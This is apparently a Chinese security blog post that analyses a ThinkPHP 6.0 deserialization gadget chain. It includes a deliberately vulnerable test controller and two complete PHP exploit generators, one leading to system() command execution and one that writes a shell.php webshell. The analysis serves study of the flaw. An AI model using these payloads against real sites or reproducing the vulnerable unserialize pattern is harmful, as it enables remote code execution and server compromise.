环境搭建
安装tp6.0
composer create-project --prefer-dist topthink/think=6.0.x-dev tp6.0
cd tp6.0
php think run
在index控制器中写入
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
$a = unserialize($_GET['a']);
var_dump($a);
}
}
漏洞分析
全局搜索__destruct魔术方法,在\vendor\topthink\think-orm\src\Model.php
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
$this->lazySave可控,为true的时候,执行save方法,跟进save方法
这里要满足两个if语句,$this->isEmpty()为false,$this->trigger要不为false,跟进isEmpty方法
public function isEmpty(): bool
{
return empty($this->data);
}
$this->data可控,当存在的时候返回false,继续跟进trigger方法
$this->withEvent可控,当为false时,进入teturn语句,满足if语句,继续看下一行代码
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
$this->exists可控,为true时,跟进updateData方法
这里要执行到checkAllowFields方法,需要经过2个if语句,第一个if要满足$this->trigger不为false
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
第二个if要满足$data存在,跟进下getChangedData方法
这里满足$this->force存在,$this->data也可控,即2个if语句也绕过了,就可以继续跟进checkAllowFields方法
这里发现$this->table和$this->suffix进行连接操作,即为字符串,可以触发__toString方法,这里就可以利用ThinkPHP5.2.x那条pop链来构造rce,全局进行搜索__toString方法,跟到\vendor\topthink\think-orm\src\model\concern\Conversion.php文件
public function __toString()
{
return $this->toJson();
}
跟进toJson->toArray方法
这里需要执行到getAttr方法,需要满足其中一个$data的key和$this->visible的key相同,既可以触发getAttr方法
public function getAttr(string $name) // key = name
{
try {
$relation = false;
$value = $this->getData($name); // whoami
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation); // fanxing whoami
}
跟进getData方法
这里$fieldName的键要存在于$this->data数组中,而$fieldName时通过getRealFieldName获取的
protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : Str::snake($name);
}
满足$this->strict为true就返回传递进来的值。最后又回到getAttr方法中
return $this->getValue($name, $value, $relation);
经过上面的分析,这里满足$name和$value可控,跟进getValue方法
漏洞触发点在圈起的地方,这里value可控,只需要满足$closure可控就可以rce,看上行代码,$this->withAttr是可控的,$fieldName是经过getRealFieldName方法获得的,也是可控的,最后,整个pop链就分析完了。
pop链流程
这里利用下Mochazz的pop链分析图片
EXP编写
<?php
namespace think\model\concern;
trait Conversion{
}
trait Attribute{
private $withAttr = ['fanxing' => 'system'];
private $data = ['fanxing'=>'dir'];
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\Conversion;
private $lazySave;
private $exists;
protected $field = [];
protected $schema = [];
protected $table;
protected $suffix;
protected $visible = [];
public function __construct($data){
$this->lazySave = true;
$this->exists = true;
$this->table = '123';
$this->suffix = $data;
$this->visible = ['fanxing' => '111'];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
public function __construct($data){
parent::__construct($data);
}
}
$a = new Pivot(null);
echo urlencode(serialize(new Pivot($a)));
?>
tp6.0反序列还有其他链,复制下Hed9eh0g这条链写入文件的poc
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ["shell"=>"<?php phpinfo();?>"];
}
}
namespace League\Flysystem\Cached\Storage{
use League\Flysystem\Cached\Storage\AbstractCache;
class Adapter extends AbstractCache
{
protected $file;
protected $adapter;
public function __construct($adapter="")
{
$this->file = "shell.php";
$this->adapter = $adapter;
}
}
}
namespace League\Flysystem\Adapter{
class Local
{
protected $writeFlags = 0;
//对应file_put_contents的第三个参数
}
}
namespace{
$local = new League\Flysystem\Adapter\Local();
$cache = new League\Flysystem\Cached\Storage\Adapter($local);
echo urlencode(serialize($cache));
}
?>
参考文章
1.https://github.com/Mochazz/ThinkPHP-Vuln/blob/master/ThinkPHP6/ThinkPHP6.X反序列化利用链.md
- Post link: http://yoursite.com/2020/05/13/ThinkPHP6.0%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
- Copyright Notice: All articles in this blog are licensed under unless stating additionally.
若您想及时得到回复提醒,建议跳转 GitHub Issues 评论。
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues